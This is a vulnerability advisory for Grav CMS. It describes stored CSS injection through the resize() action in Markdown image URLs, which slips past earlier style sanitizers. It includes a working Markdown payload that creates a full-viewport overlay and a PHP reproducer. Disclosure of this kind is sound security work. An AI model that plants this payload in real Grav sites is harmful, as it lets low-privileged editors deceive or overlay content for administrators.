Grav: Stored CSS injection via Markdown image resize() bypasses prior media style sanitizers in Grav

Summary

Grav 2.0.0-rc.9 and the current 2.0 branch still allow stored CSS injection through Markdown image media actions. The prior media hardening rejects direct ?style= payloads and unsafe attribute() fallbacks, but the adjacent resize() action still writes caller-controlled values directly into styleAttributes.

A publisher who can edit page Markdown can store a crafted image URL that renders additional CSS declarations in the final <img style=...> attribute. This crosses the same lower-privileged publisher to higher-privileged reviewer/admin rendered-content boundary as the earlier media style and attribute advisories.

Impact

A lower-privileged content editor can persist CSS declarations that are rendered when a higher-privileged user views the page or admin preview. The demonstrated payload creates a full-viewport fixed overlay by injecting position:fixed, viewport dimensions, background color, and z-index declarations.

This does not require JavaScript execution. The impact is stored CSS injection in rendered content, with UI redress/overlay and content-manipulation risk in higher-privileged sessions.

Reproduction

Tested versions:

• Grav 2.0 branch commit 6582166173bb8eb5869d96aea384e0e73777c94c
• Grav 2.0.0-rc.9 commit e03d29aa0d3ece16d73c1ffccfa78df8bf5f28b8

Minimal Markdown payload:

![logo](image.png?resize=100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999,200)

A minimal PHPUnit-style reproducer can drive the same parser path directly:

$m = new class {
    use \Grav\Common\Media\Traits\MediaObjectTrait;
    use \Grav\Common\Media\Traits\StaticResizeTrait;

    public function addMetaFile($filepath) {}
    public function __toString(): string { return ''; }
    public function url($reset = true) { return '/img.png'; }
    public function get($name, mixed $default = null, $separator = null) { return $default; }
    public function set($name, mixed $value, $separator = null) { return $this; }
    protected function createThumbnail($thumb) { return null; }
    protected function createLink(array $attributes) { return null; }
    protected function getItems(): array { return []; }
};

$excerpts = new \Grav\Common\Page\Markdown\Excerpts(null, ['markdown' => [], 'images' => []]);
$m = $excerpts->processMediaActions(
    $m,
    'image.png?resize=100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999,200'
);
$element = $m->parsedownElement('', '', '', '', false);
var_dump($element['attributes']['style']);